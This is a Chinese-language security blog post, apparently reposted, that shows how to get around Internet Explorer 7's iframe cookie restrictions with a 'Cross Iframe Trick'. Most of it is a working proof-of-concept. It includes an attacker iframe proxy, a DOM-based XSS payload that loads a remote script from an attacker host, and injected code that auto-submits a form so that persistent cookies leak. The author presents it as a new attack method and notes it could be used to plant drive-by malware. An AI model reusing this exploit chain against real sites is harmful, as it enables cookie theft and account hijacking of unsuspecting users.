突破IE安全局限取得iframe子框架內的本地cookie
發表時間:2023-05-31 來源:明輝站整理相關軟件相關文章人氣:
[摘要]作者:aullik5 今天這篇主要是要講以下這么幾件事情: 1. iframe的限制 2. 突破iframe獲取本地cookie的思路 3. 利用Cross Iframe Trick突破if...
作者:aullik5
今天這篇主要是要講以下這么幾件事情:
1. iframe的限制
2. 突破iframe獲取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的測試環境是: IE 7 (7.0.5730.13)
以下所有的內容全部經過我在IE7中測試, 是真實有效的結果。
Iframe的限制:
因為iframe這個玩意比較特殊, 所以瀏覽器對它一般都有一些限制。
首先父窗口不能控制子窗口的js, 只能讀取一些對象;子窗口也不能使用父窗口的js, 也只能讀部分對象, 更多的比如document啥的都限制了。
關系如下:
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
對于有些利用子窗口執行父窗口js的方法是限制的
比如, 在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";
上面的語句將把父窗口重新定義到sohu的網站去.
但是如果想執行js, 或者是讀取document對象, 則會被拒絕訪問
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像這兩條都會被拒絕。
對于iframe, Firefox3 居然是不限制本地cookie發送的!也就是說, 在Firefox環境里, 使用iframe包含一個遠程頁面, 是會將保存在本地的cookie發送出去的, 這使得CSRF會非常之方便。
但是IE不同, 對于IE環境中, img和iframe標簽都只能發送session cookie, 無法發送本地cookie, 所以很多時候CSRF會失敗, 這也會給XSS帶來很大的麻煩, 比如會使得XSRF更困難一些。
鑒于Firefox一點挑戰都沒有, 所以今天主要研究的對象是IE。
在IE環境下, 程序員們一般都是使用P3P協議來獲取跨域cookie的, 但是P3P也要求我們改寫HTTP頭, 更麻煩, 在這里, 我純粹使用一些腳本的技巧來突破這些限制。
突破IFRAME限制的思路:(以下都是在IE環境中)
由于頁面里的iframe都是發送的session cookie, 所以子框架頁面里本身是只有一個session cookie的, 我們無法通過在子框架里執行js的方法來獲取本地cookie, 無中生有的事情是干不出來的。
了解這一原理后, 思路就很明確了:想辦法新起一個不受限制的窗口, 從而獲取本地cookie。
具體來說, 有這么兩個辦法:
1、 使用window.open打開一個新窗口
2、 回到父窗口, 讓其打開一個新窗口
在子框架中, 使用window.open()確實可以發送本地cookie, 但是問題是瀏覽器一般會限制頁面彈窗口, 會被攔截, 所以這個方法比較囧~~, 不是個好辦法。
而第二個辦法, 回到父窗口去打開新窗口, 就涉及到一個突破iframe執行腳本的問題, 而這個問題在我的前一篇Cross Iframe Trick 里已經解決了, 所以我們的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制獲取子框架cookie:
Cross Iframe的最大貢獻就在于他可以繞過前面提到的iframe的限制, 在父域或者子框架里獲取對象, 執行腳本。
當一個頁面很難突破時, 如果他包含了一個存在弱點的iframe頁面, 則可能會帶來災難性的結果。
我相信真正精通腳本攻擊的人是能夠看到它的用處和優勢的。
環境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁面, 它包含了一個存在弱點的iframe, 用戶只會去瀏覽這個頁面
http://www.baidu.com/3.html 是我們已經控制的頁面, 他作為一個iframe被1.html所包含。 在這里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一個存在XSS漏洞的頁面, 一般情況下用戶不會去訪問它!
http://www.b.com/4.js 這是攻擊者自己的服務器上的一個惡意腳本, 將被XSS攻擊遠程載入4.html中。
由于用戶只會瀏覽www.a.com/1.html, 所以我們要通過腳本攻擊, 從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
// 函數tt1 ,在最后將被4.html注入參數
function tt1(fvck){
alert("tt1() and args= "+fvck);
document.write("<input id=\"bbb\" value=\'test1"+fvck+"\' >");
}
</script>
<body >
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<body >
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie="+document.cookie);
// iframe proxy: 創建一個動態iframe, 并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy, 利用它來完成在www.a.com里執行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<script>
// 一個基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4"+window.location.href+"\' >");
//window.open("http://www.baidu.com/4.html"); 會帶上cookie
</script>
<body >
This is 4.html!
<!-- 把這里的注釋去掉可以用來測試, 這樣發送的還是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img class='lazy' data-original="/article/UploadFiles/200903/20090320092752356.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img class='lazy' data-original=\"/article/UploadFiles/200903/20090320092752356.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個窗口, 從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡單, 他的作用是查看當前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
alert("2.html cookie="+document.cookie);
</script>
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動態iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠程加載www.b.com/4.js
4.js動態調用 www.a.com/1.html 里的 tt1() 函數, 并篡改參數, 寫入一個form, 利用js動態提交該表單, 這時候提交的表單, 就自動帶上了本地cookie了
整個過程運行結果如下:
首先訪問 www.a.com/1.html
[img align=undefined]/article/UploadFiles/200903/20090320092753401.jpg[/img]
可以看到這個時候在www.baidu.com/3.html 中彈出的是session cookie, 可以對比下我們最后結果里彈出的本地cookie接下來, 3.html將構造iframe proxy
可以看到, 由于www.a.com/4.html里的XSS漏洞被利用, 所以遠程js被加載了
遠程js繼續調用top1.tt1(); 這個函數, 同時篡改它的參數, 參數如上圖顯示。 接下來將把這個參數注入到tt1()函數中, 由于tt1()函數中存在一個 document.write,所以它將改寫頁面, 并且構造一個form表單, 重新提交到www.baidu.com/2.html
由于在form表單中, 利用了img標簽的onload事件, 使得img一加載就提交form, 所以很快就自動獲得了cookie。
可以看到, 此時獲取的, 就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是, 在4.html中, 即使把 top.tt1()改成了 document.write(), 也無法獲取本地cookie, 想來應該還是因為iframe限制的問題。
以上, 就是利用Cross Iframe Trick的技巧來突破iframe限制的方法, 其意義在于跨頁面攻擊、跨域攻擊、突破iframe的限制, 等等, 大大豐富了腳本攻擊的方法。
不知道我這篇是不是又在白寫, 如果有人能把我給出的POC好好調一遍, 會發現這里面還是很有趣的。
最后, 再講講, 有的人可能會提出疑問, 能構造iframe proxy, 是否可以直接用來掛馬?
是的, 當然可以直接用來掛馬, 但是掛馬卻是更加復雜的一種攻擊, 要求有好的瀏覽器漏洞, 好的木馬, 能夠對抗主動防御的shellcode, 同時, 根據需要獲取的數據不同, 有時候掛馬也并不能達到目的。 比如, 攻擊的目標是網站里的數據, 如果網站有SSL保護, 有防鍵盤記錄一類的程序, 則會更加麻煩。
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。